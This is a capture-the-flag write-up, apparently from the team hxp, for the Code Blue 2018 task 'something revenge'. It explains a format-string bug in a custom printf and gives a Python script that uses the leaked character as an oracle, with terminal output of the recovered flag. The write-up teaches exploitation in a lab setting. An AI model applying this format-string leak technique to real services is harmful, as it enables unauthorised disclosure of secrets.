# hxp

## Code Blue CTF Quals 2018: "something revenge" writeup

This task consisted of exploiting a program whose main purpose seems to be to read some input and compare it to the flag. To perform this operation, the program uses multiple threads and does some other suspicious things, but I didn’t use these for solving it (and in fact, the author confirms that the following solution was unintended).

Most of the code is irrelevant, except for the following snippet of the reconstructed C code that does the actual comparison:

for ( i = 0; i < len_flag; ++i ) {
if ( globals->input[i] != flag[i] ) {
myprintf(globals->input);
myprintf(" is not right.\n");
return 0;
}
}
myprintf(":)\n");


Here, myprintf() is a custom function similar to the standard C printf(), but much less powerful: All it supports are the specifiers %d, %c, %n. Just like with the normal printf(), passing the input to myprintf() as a format string is a bug: It allows the attacker (i.e., us) to leak register and stack contents by including format specifiers in the input. While %n is in principle usable to obtain code execution, the lack of positional arguments and long integers (all the specifiers used only the lower 32 bits) made me look for information leaks instead. (I also found that the %n was incorrectly implemented, which was probably part of the intended solution…)

And indeed it turns out that the accessible arguments for the vulnerable myprintf() call include the value of the last character taken from the user input, namely globals->input[i], in %edx! Since the error is printed after the first mismatch, this implies the server will, on input some_guess%d %d, leak the value of the first wrong character in some_guess. By ending some_guess with a non-printable “canary” character (I used 0x7f), we can transform this oracle into one that tells us whether some_guess is a prefix of the flag or not. From there on we do the usual character-wise brute-force search:

smth_chal@pwn-2:~$cat >/tmp/tI74PPOWq56zNOBL #!/usr/bin/env python3 import subprocess, string alph = string.ascii_letters + string.digits + string.punctuation + string.whitespace def o(g): q = ''.join(g).encode() + b'\x7f%d %d\n' p = subprocess.Popen('/home/smth_revenge/smth_revenge', stdin = subprocess.PIPE, stdout = subprocess.PIPE) s, e = p.communicate(q) assert not e return b' 127 is not right' in s flag = [] while not flag or flag[-1] != '}': flag.append(None) for x in alph: flag[-1] = x print('\r\x1b[K{}'.format(''.join(flag)), end = '') if o(flag): print('\r\x1b[K{}'.format(''.join(flag))) break else: print('this should not happen ._.') exit() smth_chal@pwn-2:~$ chmod +x /tmp/tI74PPOWq56zNOBL
smth_chal@pwn-2:~$/tmp/tI74PPOWq56zNOBL C CB CBC CBCT CBCTF CBCTF{ CBCTF{D CBCTF{Db CBCTF{DbD CBCTF{DbD: CBCTF{DbD: CBCTF{DbD: D CBCTF{DbD: De CBCTF{DbD: Dea CBCTF{DbD: Dead CBCTF{DbD: Dead CBCTF{DbD: Dead b CBCTF{DbD: Dead by CBCTF{DbD: Dead by CBCTF{DbD: Dead by D CBCTF{DbD: Dead by Da CBCTF{DbD: Dead by Day CBCTF{DbD: Dead by Dayt CBCTF{DbD: Dead by Dayti CBCTF{DbD: Dead by Daytim CBCTF{DbD: Dead by Daytime CBCTF{DbD: Dead by Daytime CBCTF{DbD: Dead by Daytime S CBCTF{DbD: Dead by Daytime Su CBCTF{DbD: Dead by Daytime Sun CBCTF{DbD: Dead by Daytime Sun CBCTF{DbD: Dead by Daytime Sun l CBCTF{DbD: Dead by Daytime Sun lo CBCTF{DbD: Dead by Daytime Sun lol CBCTF{DbD: Dead by Daytime Sun lolo CBCTF{DbD: Dead by Daytime Sun lolol CBCTF{DbD: Dead by Daytime Sun lololo CBCTF{DbD: Dead by Daytime Sun lololol CBCTF{DbD: Dead by Daytime Sun lololol} smth_chal@pwn-2:~$